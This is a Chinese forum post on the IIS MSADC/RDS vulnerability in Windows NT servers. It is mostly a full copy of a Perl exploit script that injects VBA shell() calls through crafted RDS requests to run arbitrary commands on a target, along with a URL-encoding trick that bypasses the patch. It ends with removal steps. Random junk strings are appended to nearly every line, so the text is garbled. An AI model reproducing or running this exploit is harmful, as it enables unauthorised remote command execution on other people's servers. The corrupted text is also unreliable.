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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) PsjSL8]  
6f v{?0|  
涉及程序: -M/DOTc  
Microsoft NT server DW\';"  
~Uz,%zU#3  
描述: ]O,;t>  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ^M0e0  
[ ]}E- V  
详细: &-dyg+b3  
如果你没有时间读详细内容的话,就删除: ]N!8U_U3  
c:\Program Files\Common Files\System\Msadc\msadcs.dll G0Eqo$W)S  
有关的安全问题就没有了。 -hZlFAZi  
9nu!|reS  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 A9`& Wnw?  
2"cUBFc1I  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 @!1o +x  
关于利用ODBC远程漏洞的描述,请参看: om@GH0o+  
Z@4 BTA  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ,qz$6oxh\  
...|S]a  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 w@ALl#z;}  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp IlJ!jq  
nYhI0q  
这里不再论述。 W|XW2`3p  
H$bu*o-Z  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 8E`A`z  
outAZy=R;  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Q`j!$r  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 0<d9al|J  
*~YU0o  
yU<T_&M  
#将下面这段保存为txt文件,然后: "perl -x 文件名" __dSEOGoe  
_r@ FWUZ  
#!perl v0+mh]  
# ;~CAHn|Fe  
# MSADC/RDS 'usage' (aka exploit) script ve|ig]$5g<  
# $Y& 8@/L  
# by rain.forest.puppy plcz m 2  
# { }Q!./5  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me OE[| 1?3  
# beta test and find errors! tbG^9d  
<H03i"Z/S  
use Socket; use Getopt::Std; }#]2u| G  
getopts("e:vd:h:XR", \%args); kG 7]<^Os3  
jrJ!A(<)  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; u*u3<YQ  
6AD#x7drj  
if (!defined $args{h} && !defined $args{R}) { `=TV4h4  
print qq~ P_6JweN  
Usage: msadc.pl -h <host> { -d <delay> -X -v } L?:.8k`d  
-h <host> = host you want to scan (ip or domain) Y_'3pX,  
-d <seconds> = delay between calls, default 1 second ,Q:Ylc8  
-X = dump Index Server path table, if available wl2P^Pj  
-v = verbose ]@LeyT'cY  
-e = external dictionary file for step 5 HG kL6o=  
S<fSoU+RJ  
Or a -R will resume a command session lrrNyaFn  
3msb"|DG  
~; exit;} jNV)=s^ed[  
H%y!lR{c^D  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; }h{8i_R  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} {HoeK>rd  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} b`: n i   
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 4k%y*L  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} jMFLd  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } G)5R iRcs  
Y]MB/\gj  
if (!defined $args{R}){ $ret = &has_msadc; d7(g=JK<  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} uknX py))  
pe%$(%@v  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ,cj531.  
. "cmd /c "; 3'3E:}o|  
$in=<STDIN>; chomp $in; 5jMI33D  
$command="cmd /c " . $in ; JO3"$s|t  
d!>.$|b  
if (defined $args{R}) {&load; exit;} vNo(`~]c  
l5; SY  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; TQ hu$z<  
&try_btcustmr; P)D2PVD  
R(.5Hs  
print "\nStep 2: Trying to make our own DSN..."; PqUjBP\  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; gu:8+/W8L  
T)N_~f|  
print "\nStep 3: Trying known DSNs..."; my1FW,3  
&known_dsn; U0X,g(2'  
#POVu|Y;h  
print "\nStep 4: Trying known .mdbs..."; qK=uSL o\+  
&known_mdb; '\g-z  
V7~tIhuJH  
if (defined $args{e}){ EjY8g@M;t  
print "\nStep 5: Trying dictionary of DSN names..."; gdr"34%vbM  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } *.F^`]yz  
"|k 4<"]  
print "Sorry Charley...maybe next time?\n"; {~*^jS']5  
exit; Sao4MkSz[]  
|!Ryl}Oi  
############################################################################## GycW3tc]_&  
`PoFKtVX M  
sub sendraw { # ripped and modded from whisker 9I1D'7wI^^  
sleep($delay); # it's a DoS on the server! At least on mine... T5<851rH  
my ($pstr)=@_; 2wX4e0cOI4  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || qnc?&f  
die("Socket problems\n"); Z(h.)$yH*=  
if(connect(S,pack "SnA4x8",2,80,$target)){ ?Sj >b   
select(S); $|=1; b@s6jNhVO^  
print $pstr; my @in=<S>; [uLwr$N<%L  
select(STDOUT); close(S); GBg~NkC7.  
return @in; 1U?,}w   
} else { die("Can't connect...\n"); }} a*kvU"]  
! )x2   
############################################################################## 5 *R{N ~>  
@'AjEl:&-_  
sub make_header { # make the HTTP request 5|<jPc  
my $msadc=<<EOT on^m2pQ *p  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 d94 Le/E  
User-Agent: ACTIVEDATA [aS<u`/g|  
Host: $ip >))f;$D=  
Content-Length: $clen =tS#t+2S  
Connection: Keep-Alive V$?@ z>7  
3bN]2\   
ADCClientVersion:01.06 chC= $(5t  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 E:$EK_?:t  
Y W9+.Dc`  
--!ADM!ROX!YOUR!WORLD! -s6k't  
Content-Type: application/x-varg 7B@ 1[  
Content-Length: $reqlen 3xX ^pjk  
:5W8S6[o  
EOT `m")v0n3  
; $msadc=~s/\n/\r\n/g; /$=<"Y7&g  
return $msadc;} UURYK~$K:  
`qs[a}%'>"  
############################################################################## oE.59dx  
,'Sj:l  
sub make_req { # make the RDS request 63PSYj(y  
my ($switch, $p1, $p2)=@_; ^0tO2$  
my $req=""; my $t1, $t2, $query, $dsn; }N0$DqP  
'#eY4d<i]n  
if ($switch==1){ # this is the btcustmr.mdb query Y n7z#bu  
$query="Select * from Customers where City=" . make_shell(); e0z(l/UB  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 1=@csO_yn  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 2 ":W^P  
3 BQZ[%0@  
elsif ($switch==2){ # this is general make table query ~W..P:wG5  
$query="create table AZZ (B int, C varchar(10))"; ks|c'XQb  
$dsn="$p1";} ;R[w}#Sm  
Z<IN>:l  
elsif ($switch==3){ # this is general exploit table query x@LNjlP  
$query="select * from AZZ where C=" . make_shell(); pNnZ-R|u  
$dsn="$p1";} )45#lE3TH  
MBn ZO  
elsif ($switch==4){ # attempt to hork file info from index server GoUsB|-\  
$query="select path from scope()"; [X"pOz  
$dsn="Provider=MSIDXS;";} e0:[,aF`  
%o  
elsif ($switch==5){ # bad query LX8A@Yct  
$query="select"; 259R5X<V  
$dsn="$p1";} F%ffnEJg  
xP7#`S6W  
$t1= make_unicode($query); j;yKL-ycB  
$t2= make_unicode($dsn); V'^E'[Dd{  
$req = "\x02\x00\x03\x00"; )&{<gyS1  
$req.= "\x08\x00" . pack ("S1", length($t1)); HD_ #-M  
$req.= "\x00\x00" . $t1 ; : *8t,f~s^  
$req.= "\x08\x00" . pack ("S1", length($t2)); Y/<`C  
$req.= "\x00\x00" . $t2 ; (Go1@;5I  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; l.Q.G<ol  
return $req;} 8= "01  
S Rb-eDk'  
############################################################################## ,^1B"#0{C<  
PJF1+I.%c#  
sub make_shell { # this makes the shell() statement "&%Lhyt  
return "'|shell(\"$command\")|'";} 7U1^=Y@t}  
H8!)zZ  
############################################################################## Q+7+||RW  
z]/!4+  
sub make_unicode { # quick little function to convert to unicode KXf (v4  
my ($in)=@_; my $out; N8KH.P+  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }  SH6+'7  
return $out;} 5V*R  Dh  
JUCp#[q  
############################################################################## &dky_H  
6o)RsxN eu  
sub rdo_success { # checks for RDO return success (this is kludge) 3lsfT-|Wt&  
my (@in) = @_; my $base=content_start(@in); )]tf|Mbu  
if($in[$base]=~/multipart\/mixed/){ S;^'Ek"Z.  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} gwyX%9  
return 0;} @j<Q2z^  
;DgQ8"f  
############################################################################## =Cc]ugl7-  
EC/=JlL`5  
sub make_dsn { # this makes a DSN for us "lRxatM  
my @drives=("c","d","e","f"); e'|IRhr  
print "\nMaking DSN: "; \C<'2KZR,  
foreach $drive (@drives) { {|B 2$1':  
print "$drive: "; S| |OSxZ  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . qM18 Ji*  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" #b9V&/ln  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Mc~L%5  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 7 MS-Gs|  
return 0 if $2 eq "404"; # not found/doesn't exist =p2: qSV  
if($2 eq "200") { cV4]Y(9  
foreach $line (@results) { ,L=lg,lH^  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 43,baeG  
} return 0;} ] ^53Qbrv  
tGJJ|mle>  
############################################################################## L/?jtF:o  
/ ?'FSWDU  
sub verify_exists { zJ30ZY:  
my ($page)=@_; 4MrUo9L$s  
my @results=sendraw("GET $page HTTP/1.0\n\n"); a0&L,7mu<'  
return $results[0];} QlMv_|`9  
K=1prv2  
############################################################################## s`en8%  
i ?%_P u  
sub try_btcustmr { watTV\b  
my @drives=("c","d","e","f"); dUL*~%2I  
my @dirs=("winnt","winnt35","winnt351","win","windows"); FQ>y2n=<d  
9]vy#a#  
foreach $dir (@dirs) { ye-[l7  
print "$dir -> "; # fun status so you can see progress `ES+$O>  
foreach $drive (@drives) { M#k$[w}=  
print "$drive: "; # ditto WK5B8u*<  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; w<u@L  
$reqlenlen=length( "$reqlen" ); >dJ[1s]  
$clen= 206 + $reqlenlen + $reqlen; 1i&|}"  
to;^'#B  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); K;ocs?rk/  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 7J1f$5$m5  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} c_T+T/O  
UPy 4ST  
############################################################################## K'f^=bc I  
'cqY-64CJZ  
sub odbc_error { SLz;5%CPV  
my (@in)=@_; my $base; &2nICAN[  
my $base = content_start(@in); L[^.pO  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this sI6I5  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 7+;.Q  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ~^PNMZk  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; i&q_h>ZT g  
return $in[$base+4].$in[$base+5].$in[$base+6];} 8g {;o 7  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; E|A~T7G=  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . z.|[g$F  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Bbtc[@"X  
3^iVDbAW{  
############################################################################## &b'{3o_KN  
ZnBGNr  
sub verbose { s"5nfl  
my ($in)=@_; 9iV9q]($0  
return if !$verbose; gZBb /<  
print STDOUT "\n$in\n";} yeam-8  
oB(9{6@N  
############################################################################## EE*|#  
g 'td(i[  
sub save { ;9<?~S  
my ($p1, $p2, $p3, $p4)=@_; ,$ Cr9R&/  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; G8WPXj(  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; YU XxQ|  
close OUT;} p|em_!H"SH  
Z<*"sFpAO  
############################################################################## /9,y+"0SQz  
,/qY 9eh  
sub load { J!}\v=Rn  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ~iPXn1  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); fWf't2H&  
@p=<IN>; close(IN); \]g51U!'  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); +6x}yc:yd  
$target= inet_aton($ip) || die("inet_aton problems"); +,Or^p O=  
print "Resuming to $ip ..."; _gEojuaN  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; _U9.u#>sV  
if($p[1]==1) { Z_a@,k:+[  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; /A+5q\8G  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; /Ny#+$cfk  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); hj\A-Yf  
if (rdo_success(@results)){print "Success!\n";} bYmk5fpRG  
else { print "failed\n"; verbose(odbc_error(@results));}} &fsk ESV0  
elsif ($p[1]==3){ T7-yZSw -m  
if(run_query("$p[3]")){ Dw>)\\n{Kl  
print "Success!\n";} else { print "failed\n"; }} SW5n?Qj3-  
elsif ($p[1]==4){ >[&ser  
if(run_query($drvst . "$p[3]")){ p(cnSvg  
print "Success!\n"; } else { print "failed\n"; }} E.*gKfL  
exit;} ^%m{yf#  
w}s5=>QG%  
############################################################################## x|gYxZ  
?M^qSo=/~  
sub create_table { 3.9/mztS  
my ($in)=@_; Dk&(QajL  
$reqlen=length( make_req(2,$in,"") ) - 28; ~pHuh#>  
$reqlenlen=length( "$reqlen" ); j{johV+`8  
$clen= 206 + $reqlenlen + $reqlen; %<r}V<OeR  
my @results=sendraw(make_header() . make_req(2,$in,"")); BSy{"K*M  
return 1 if rdo_success(@results); O0s,)8+z5D  
my $temp= odbc_error(@results); verbose($temp); A%X=yqY  
return 1 if $temp=~/Table 'AZZ' already exists/; h(^c5#.  
return 0;} F'"-aB ~  
S;u.Ds&  
############################################################################## HCx0'|J  
8Zy*#[-  
sub known_dsn { ysCK_  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go _pzYmQ  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Igw2n{})w  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 4TyzD%pOw  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); {?q`9[Z  
B%`| W@v  
foreach $dSn (@dsns) { .V\~#Ro$G  
print "."; s:cJF  
next if (!is_access("DSN=$dSn")); #K*p1}rf  
if(create_table("DSN=$dSn")){ 76] Z~^Y  
print "$dSn successful\n"; ^=a:{["@!  
if(run_query("DSN=$dSn")){ Qn~{TZz  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { \y6Y}Cv  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 2 6 >9$S  
&gr  T@  
############################################################################## Vk*XiEfKm>  
s>1\bio*I  
sub is_access { :S}ZF$ $j%  
my ($in)=@_; C,%Dp0  
$reqlen=length( make_req(5,$in,"") ) - 28; zqURnsJ  
$reqlenlen=length( "$reqlen" ); ).0p\.W~  
$clen= 206 + $reqlenlen + $reqlen; K7C!ZXw~  
my @results=sendraw(make_header() . make_req(5,$in,"")); j&U7xv  
my $temp= odbc_error(@results); Vk2%yw>  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); @4KKm@(p85  
return 0;} w `+.F;}s  
_ nz^+  
############################################################################## neE Zw#(Z  
Hzc}NyJ  
sub run_query { }x& X vI  
my ($in)=@_; }gFa9M<  
$reqlen=length( make_req(3,$in,"") ) - 28; b4EUr SL  
$reqlenlen=length( "$reqlen" ); Y+kuj],h  
$clen= 206 + $reqlenlen + $reqlen; `t44.=%  
my @results=sendraw(make_header() . make_req(3,$in,"")); ;#+I"Ow  
return 1 if rdo_success(@results); l>L?T#v!_  
my $temp= odbc_error(@results); verbose($temp); BG)zkn$  
return 0;} }_-tJ.  
X"mPRnE330  
############################################################################## +Z-{6C  
X-Ev>3H  
sub known_mdb { ,% 'r:@'  
my @drives=("c","d","e","f","g"); .JTRFk{W  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ^hr # 1  
my $dir, $drive, $mdb; Ui-Y `  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; D=Nt 0y  
p!)PbSw#  
# this is sparse, because I don't know of many 9G"4w`P  
my @sysmdbs=( "\\catroot\\icatalog.mdb", :4x6dYNU  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", u\/TR#b  
"\\system32\\certmdb.mdb", L@jpid95  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% mM2I  
m-a':  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 1f 1D^|  
"\\cfusion\\cfapps\\forums\\forums_.mdb", *3OlWnZ?  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", |'uBkL0q  
"\\cfusion\\cfapps\\security\\realm_.mdb", ueg%D +u  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Q[%G`;e#  
"\\cfusion\\database\\cfexamples.mdb", eu8a<  
"\\cfusion\\database\\cfsnippets.mdb", st~ l||  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 7]Hf3]e>/  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", LNrM`3%2-  
"\\cfusion\\brighttiger\\database\\cleam.mdb", #%8)'=1+4?  
"\\cfusion\\database\\smpolicy.mdb", L]Xx-S  
"\\cfusion\\database\cypress.mdb", uhnnjI  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ]JvjM,  
"\\website\\cgi-win\\dbsample.mdb", <AiE~l| D  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ]&B/rSC  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Z-pZyDz  
); #these are just ,aq>9\ pi  
foreach $drive (@drives) { +fKV/tSWi  
foreach $dir (@dirs){ %rf6 >  
foreach $mdb (@sysmdbs) { __1Hx?f  
print "."; \TnK<83  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ {X<_Y<  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ;Jb% 2?+=!  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ PMX'vA`  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; m(dW["8D  
} else { print "Something's borked. Use verbose next time\n"; }}}}} fZS'e{V  
R?,v:S&i7;  
foreach $drive (@drives) { ew~uOG+  
foreach $mdb (@mdbs) { 7/fJQM  
print "."; T,Q7 YI  
if(create_table($drv . $drive . $dir . $mdb)){ 3RI6+Cgmn  
print "\n" . $drive . $dir . $mdb . " successful\n"; %KN2iNq  
if(run_query($drv . $drive . $dir . $mdb)){ a+CJJ3T-  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; #7sxb  
} else { print "Something's borked. Use verbose next time\n"; }}}} m*h O@M  
} ,1-idpnX  
x9 t %  
############################################################################## p%X.$0  
,`'A"]"  
sub hork_idx { wlh%{l  
print "\nAttempting to dump Index Server tables...\n"; Eh|6{LDn!  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 0r[a$p>`  
$reqlen=length( make_req(4,"","") ) - 28; W>c*\)Xk !  
$reqlenlen=length( "$reqlen" ); 7:=(yBG  
$clen= 206 + $reqlenlen + $reqlen; %F$ ]v  
my @results=sendraw2(make_header() . make_req(4,"","")); D8xE"6T>  
if (rdo_success(@results)){ Fo5UG2E&  
my $max=@results; my $c; my %d; ACFEM9 [=  
for($c=19; $c<$max; $c++){ F9(jx#J~t  
$results[$c]=~s/\x00//g; !}c\u  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; a*_&[  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; O-pH~E  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; |5q,%9_  
$d{"$1$2"}="";} kp!(e0n  
foreach $c (keys %d){ print "$c\n"; } m]'+Eye ]r  
} else {print "Index server doesn't seem to be installed.\n"; }} ep`8LQf  
_5p]Arg?}&  
############################################################################## E@l@f  
n:?a=xY  
sub dsn_dict { E0aFHC[  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); xc05GJ  
while(<IN>){ X4Uy3TV>  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; _{}^]ZB  
next if (!is_access("DSN=$dSn")); ae2I,Qt%  
if(create_table("DSN=$dSn")){ jaVx9FR +  
print "$dSn successful\n"; U[q39FR  
if(run_query("DSN=$dSn")){ :xO43z  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { T :^OW5d  
print "Something's borked. Use verbose next time\n";}}} :RYYjmG5;  
print "\n"; close(IN);} /?|;f2tbV2  
vS:=%@c>ta  
############################################################################## R!\._m?\h  
Wcl =YB%  
sub sendraw2 { # ripped and modded from whisker Gg:W%&#  
sleep($delay); # it's a DoS on the server! At least on mine... _g D9oK  
my ($pstr)=@_; EpCNp FQT<  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || $bBUL C  
die("Socket problems\n"); CG J_k?h  
if(connect(S,pack "SnA4x8",2,80,$target)){ sebuuL.l0<  
print "Connected. Getting data"; jxq89x  
open(OUT,">raw.out"); my @in; jd "YaZOQ  
select(S); $|=1; print $pstr; >m=XqtP  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} v0;dk(  
close(OUT); select(STDOUT); close(S); return @in; I8IH\5k  
} else { die("Can't connect...\n"); }} ymR AQVv  
)U0I|dx  
############################################################################## 5l(@p7_+  
7E?60^Tve  
sub content_start { # this will take in the server headers X*bOE}  
my (@in)=@_; my $c; i\4dd)p-  
for ($c=1;$c<500;$c++) { :Fh_Ya0  
if($in[$c] =~/^\x0d\x0a/){ DIhV;[\  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } e;"%h%'  
else { return $c+1; }}} )IIWXN2A  
return -1;} # it should never get here actually gy#G;9p  
_?bF;R  
############################################################################## EU Oa8Z  
YW8Odm  
sub funky { D6\k}4n-  
my (@in)=@_; my $error=odbc_error(@in); )sK _k U{\  
if($error=~/ADO could not find the specified provider/){ JiXN"s^mcb  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; =~dXP  
exit;} K8QEHc:  
if($error=~/A Handler is required/){ g`"_+x'  
print "\nServer has custom handler filters (they most likely are patched)\n"; M{Vi4ehOq  
exit;} / =v1.9(  
if($error=~/specified Handler has denied Access/){ C [8='i26  
print "\nServer has custom handler filters (they most likely are patched)\n"; N]|)O]/[  
exit;}} lZ`@ }^&  
7L]Y.7>  
############################################################################## ^5FwYXAxi  
wqX!7rD/g)  
sub has_msadc { -.Z;n1'^  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Oek$f,J-  
my $base=content_start(@results); fCv.$5  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); -9s&OKo`({  
return 0;} H]M[2C7#N  
nQfSQMg  
######################## ytfr'sr/  
9~l8QaK  
Of<Vr.m{R  
解决方案: A2`Xh#o  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll <bywi2]z  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 .bRDz:?j  
;PMy9H  
拿出来充数 哈哈
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